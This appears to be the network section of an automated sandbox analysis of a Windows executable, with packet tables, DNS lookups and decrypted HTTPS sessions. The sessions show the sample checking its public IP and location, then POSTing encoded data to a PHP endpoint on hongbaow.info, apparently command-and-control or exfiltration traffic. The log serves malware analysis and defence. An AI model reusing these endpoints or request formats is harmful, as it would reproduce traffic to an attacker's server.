Jan 22, 2025 08:36:58.822653055 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.953664064 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.953855038 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.954453945 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.954463005 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.954705000 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.954710960 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.277894020 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.277966022 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.277983904 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.278036118 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.278275967 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.278297901 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.306571960 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.306603909 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.306680918 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.307009935 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.307027102 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.310425997 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.310630083 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.310913086 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.310940981 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.311120987 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.311136961 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.652421951 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.652559042 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.652627945 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.652671099 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.652693987 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.652723074 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.652750969 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.652750969 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.759902000 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.760000944 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.760591030 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.760605097 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:59.760859966 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:59.760867119 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.076644897 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.076721907 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.076756001 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.076790094 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.076803923 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.076837063 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.076921940 CET	50090	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.076937914 CET	443	50090	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.119313955 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.119410992 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.119505882 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.119800091 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.119841099 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.579037905 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.579473972 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.580077887 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.580106974 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.580565929 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.580579042 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.899553061 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.899635077 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.899779081 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.900295019 CET	50091	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.900362015 CET	443	50091	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.916235924 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.916273117 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:00.916373968 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.916656017 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:00.916667938 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.370501995 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.370757103 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.371254921 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.371263027 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.371517897 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.371524096 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.688981056 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.689068079 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.689095974 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.689121008 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.689403057 CET	50092	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.689433098 CET	443	50092	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.730288029 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.730359077 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:01.730449915 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.730864048 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:01.730878115 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.190058947 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.190139055 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.191937923 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.191957951 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.192188978 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.192193985 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.508040905 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.508114100 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.508131981 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.508176088 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.508215904 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.508326054 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.508496046 CET	50093	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.508510113 CET	443	50093	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.525755882 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.525832891 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:02.525917053 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.526263952 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:02.526287079 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.004036903 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.004168987 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.004832029 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.004838943 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.004961014 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.004966974 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.315686941 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.315815926 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.315850973 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.315916061 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.315939903 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.315994978 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.316107035 CET	50094	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.316134930 CET	443	50094	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.337791920 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.337836981 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.337907076 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.338227987 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.338237047 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.802556038 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.803224087 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.804740906 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.804749966 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:03.804975033 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:03.804980993 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.115190029 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.115494013 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.115592957 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.115904093 CET	50095	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.115925074 CET	443	50095	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.138870955 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.138968945 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.139246941 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.139760017 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.139839888 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.595174074 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.595261097 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.596050978 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.596072912 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.596508980 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.596520901 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.666105986 CET	50097	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.666157961 CET	443	50097	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.666232109 CET	50097	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.666565895 CET	50097	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.666635036 CET	443	50097	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.919904947 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.919987917 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:04.919998884 CET	443	50096	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:04.920046091 CET	50096	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:37:05.143094063 CET	443	50097	104.21.64.1	192.168.2.4
Jan 22, 2025 08:37:05.147185087 CET	50097	443	192.168.2.4	104.21.64.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 08:35:00.452347040 CET	58128	53	192.168.2.4	1.1.1.1
Jan 22, 2025 08:35:00.459959030 CET	53	58128	1.1.1.1	192.168.2.4
Jan 22, 2025 08:35:01.178049088 CET	64068	53	192.168.2.4	1.1.1.1
Jan 22, 2025 08:35:01.185220003 CET	53	64068	1.1.1.1	192.168.2.4
Jan 22, 2025 08:35:01.964515924 CET	54833	53	192.168.2.4	1.1.1.1
Jan 22, 2025 08:35:01.986627102 CET	53	54833	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2025 08:35:00.452347040 CET	192.168.2.4	1.1.1.1	0x2a8d	Standard query (0)	myexternalip.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.178049088 CET	192.168.2.4	1.1.1.1	0xf8de	Standard query (0)	api.iplocation.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.964515924 CET	192.168.2.4	1.1.1.1	0x9fa8	Standard query (0)	hongbaow.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 22, 2025 08:35:00.459959030 CET	1.1.1.1	192.168.2.4	0x2a8d	No error (0)	myexternalip.com	34.160.111.145	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.185220003 CET	1.1.1.1	192.168.2.4	0xf8de	No error (0)	api.iplocation.net	172.67.68.240	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.185220003 CET	1.1.1.1	192.168.2.4	0xf8de	No error (0)	api.iplocation.net	104.26.7.214	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.185220003 CET	1.1.1.1	192.168.2.4	0xf8de	No error (0)	api.iplocation.net	104.26.6.214	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 22, 2025 08:35:01.986627102 CET	1.1.1.1	192.168.2.4	0x9fa8	No error (0)	hongbaow.info	104.21.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

myexternalip.com

api.iplocation.net

hongbaow.info

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	34.160.111.145	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:01 UTC	70	OUT	GET /raw HTTP/1.1 User-Agent: Mozilla/5.0 Host: myexternalip.com
2025-01-22 07:35:01 UTC	242	IN	HTTP/1.1 200 OK date: Wed, 22 Jan 2025 07:35:00 GMT content-type: text/plain; charset=utf-8 Content-Length: 12 access-control-allow-origin: * via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-22 07:35:01 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	172.67.68.240	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:01 UTC	100	OUT	GET /?cmd=ip-country&ip=8.46.123.189 HTTP/1.1 User-Agent: Mozilla/5.0 Host: api.iplocation.net
2025-01-22 07:35:01 UTC	1059	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:01 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.19 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Set-Cookie: PHPSESSID=5dbqcpbk0ma8nuk27944fhqudi; expires=Wed, 22-Jan-2025 09:29:42 GMT; Max-Age=7200; path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1oGQ2PEdIg0KqSAI4WJ3Vsajm9aAbXgTMsa8Gcag1KI6k%2BbGS86bDjwXuV7wJZC8oX2QZPcCrFxmXMZXZhQ0cI4P7JU3wtpCz0FP%2Bqdcg2ugoDx1gbREA%2B1vtaZRLbCG3lFiXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd6bde324265-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1584&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=738&delivery_rate=1795817&cwnd=206&unsent_bytes=0&cid=59ae7e99847b47f2&ts=211&x=0"
2025-01-22 07:35:01 UTC	214	IN	Data Raw: 64 30 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 69 70 5f 6e 75 6d 62 65 72 22 3a 22 31 33 37 32 36 34 30 36 31 22 2c 22 69 70 5f 76 65 72 73 69 6f 6e 22 3a 34 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 32 22 3a 22 55 53 22 2c 22 69 73 70 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 20 4c 4c 43 22 2c 22 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 22 32 30 30 22 2c 22 72 65 73 70 6f 6e 73 65 5f 6d 65 73 73 61 67 65 22 3a 22 4f 4b 22 7d 0d 0a Data Ascii: d0{"ip":"8.46.123.189","ip_number":"137264061","ip_version":4,"country_name":"United States of America","country_code2":"US","isp":"CenturyLink Communications LLC","response_code":"200","response_message":"OK"}
2025-01-22 07:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:02 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:02 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:02 UTC	808	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5tY08WDRIx2rCg3sD7xfXlBjeuCBN%2FNfLW5MVohJBtWcIwIFDhp8XH283XX7MWPHK7rrVFezvy0c%2FeXgRIHWEyV5RQgNnJhAXHGIdcYc1A9kMcPMt03vvoZvGy8%2Bn4mR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd717ba6de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1453&min_rtt=1441&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1170&delivery_rate=1891191&cwnd=246&unsent_bytes=0&cid=361af0feb46c1521&ts=385&x=0"
2025-01-22 07:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:02 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:02 UTC	96	OUT	Data Raw: 75 69 66 62 61 73 69 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: uifbasi=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:02 UTC	830	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M3vPPNbWApmLNFLHqlX7ReWpLBsXE3w30kqyMWTbmeOb8JnVVI4DYtsMhtvfetmgkHx6mN2fIFgBDUiqJ8Mg3%2FnkoMd6EpWNwVmqly1y17%2BabcixyejvcO57qaRWo%2Fsa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd719ca48ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&min_rtt=1728&rtt_var=678&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1580086&cwnd=237&unsent_bytes=0&cid=3fff776737509358&ts=403&x=0"
2025-01-22 07:35:02 UTC	274	IN	Data Raw: 31 30 62 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 46 61 74 61 6c 20 65 72 72 6f 72 3c 2f 62 3e 3a 20 20 55 6e 63 61 75 67 68 74 20 45 72 72 6f 72 3a 20 43 61 6c 6c 20 74 6f 20 61 20 6d 65 6d 62 65 72 20 66 75 6e 63 74 69 6f 6e 20 62 69 6e 64 5f 70 61 72 61 6d 28 29 20 6f 6e 20 62 6f 6f 6c 20 69 6e 20 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 31 57 72 43 56 7a 57 34 6b 53 44 4e 62 4e 54 74 2f 63 71 57 66 34 76 51 6c 6f 66 7a 71 46 6b 63 37 2e 70 68 70 3a 39 35 0a 53 74 61 63 6b 20 74 72 61 63 65 3a 0a 23 30 20 7b 6d 61 69 6e 7d 0a 20 20 74 68 72 6f 77 6e 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 31 57 72 43 56 7a 57 34 6b 53 44 4e 62 4e 54 74 2f 63 71 57 66 34 76 51 6c 6f 66 7a 71 46 6b 63 37 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 Data Ascii: 10b<br /><b>Fatal error</b>: Uncaught Error: Call to a member function bind_param() on bool in /var/www/html/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php:95Stack trace:#0 {main} thrown in <b>/var/www/html/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php</b> on line
2025-01-22 07:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:03 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:03 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
